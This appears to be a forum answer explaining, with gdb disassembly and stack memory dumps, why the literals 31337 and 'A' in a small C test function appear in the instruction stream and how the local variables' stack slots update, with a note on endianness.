0x0804835a <main+3>: sub esp,0x18
0x0804835d <main+6>: and esp,0xfffffff0
0x08048360 <main+9>: mov eax,0x0
0x08048365 <main+14>: sub esp,eax
0x08048367 <main+16>: mov DWORD PTR [esp+12],0x4
0x0804836f <main+24>: mov DWORD PTR [esp+8],0x3
0x08048377 <main+32>: mov DWORD PTR [esp+4],0x2
0x0804837f <main+40>: mov DWORD PTR [esp],0x1
0x08048386 <main+47>: call 0x8048344 <test_function>
0x0804838b <main+52>: leave
0x0804838c <main+53>: ret
End of assembler dump
(gdb) disass test_function()
Dump of assembler code for function test_function:
0x08048344 <test_function+0>: push ebp
0x08048345 <test_function+1>: mov ebp,esp
0x08048347 <test_function+3>: sub esp,0x28
0x0804834a <test_function+6>: mov DWORD PTR [ebp-12],0x7a69
0x08048351 <test_function+13>: mov BYTE PTR [ebp-40],0x41
0x08048355 <test_function+17>: leave
0x08048356 <test_function+18>: ret
End of assembler dump
(gdb)
'A' and 31337 are literals. They have no reason to be placed on the stack.
It would be more interesting for you if you printed out a disassembly of that code block to see exactly what the compiler is emitting. Then you can cross-check with what your stack contains at runtime.
Given that your function has no side-effects, it could be optimized to a no-op.
Here's what I get with your code in an environment I'm more familiar with:
Breakpoint 1, test_function (a=1, b=2, c=3, d=4) at t.c:4
4 flag = 31337;
(gdb) disass test_function
Dump of assembler code for function test_function:
0x080483a4 <+0>: push %ebp
0x080483a5 <+1>: mov %esp,%ebp
0x080483a7 <+3>: sub $0x10,%esp
=> 0x080483aa <+6>: movl $0x7a69,-0x4(%ebp)
0x080483b1 <+13>: movb $0x41,-0xe(%ebp)
0x080483b5 <+17>: leave
0x080483b6 <+18>: ret
End of assembler dump.
(gdb) display $ebp
2: $ebp = (void *) 0xffffcd70
(gdb) display $esp
3: $esp = (void *) 0xffffcd60
(gdb) x/16xw $esp
0xffffcd60: 0xf7e7dcdd 0xf7fa7324 0xf7fa6ff4 0x00000000
0xffffcd70: 0xffffcd88 0x080483e1 0x00000001 0x00000002
0xffffcd80: 0x00000003 0x00000004 0xffffcdf8 0xf7e66cc6
0xffffcd90: 0x00000001 0xffffce24 0xffffce2c 0x00000001
Difference with your case, except for the ASM syntax, is that my compiler reserved less slack on the stack, but that's about it.
So, as in your case, the literals end up in the instruction stream, not on the stack. The stack address and contents (interpreted as 32bit ints, careful with endianness) of the locals:
(gdb) x/1xw $ebp-4
0xffffcd6c: 0x00000000
(gdb) x/1xw $ebp-0xe
0xffffcd62: 0x7324f7e7
Now lets assign to flag:
(gdb) n
5 buffer[0] = 'A';
(gdb) x/8xw $esp
0xffffcd60: 0xf7e7dcdd 0xf7fa7324 0xf7fa6ff4 0x00007a69
0xffffcd70: 0xffffcd88 0x080483e1 0x00000001 0x00000002
(gdb) x/1xw $ebp-4
0xffffcd6c: 0x00007a69
(gdb) x/1xw $ebp-0xe
0xffffcd62: 0x7324f7e7
All good, the right stack slot was updated ($ebp-4 last 32bit slot in line 1 of the x/8xw).
And lets set the first item of buffer:
(gdb) n
6 }
(gdb) x/4x $ebp-0xe
0xffffcd62: 0x41 0xf7 0x24 0x73
(gdb) x/8xw $esp
0xffffcd60: 0xf741dcdd 0xf7fa7324 0xf7fa6ff4 0x00007a69
0xffffcd70: 0xffffcd88 0x080483e1 0x00000001 0x00000002
(gdb) x/1xw $ebp-4
0xffffcd6c: 0x00007a69
(gdb) x/1xw $ebp-0xe
0xffffcd62: 0x7324f741
All good again. The endianness makes things look a bit strange when viewed as 32bit ints, but it looks fine if you look at it byte by byte.

Resources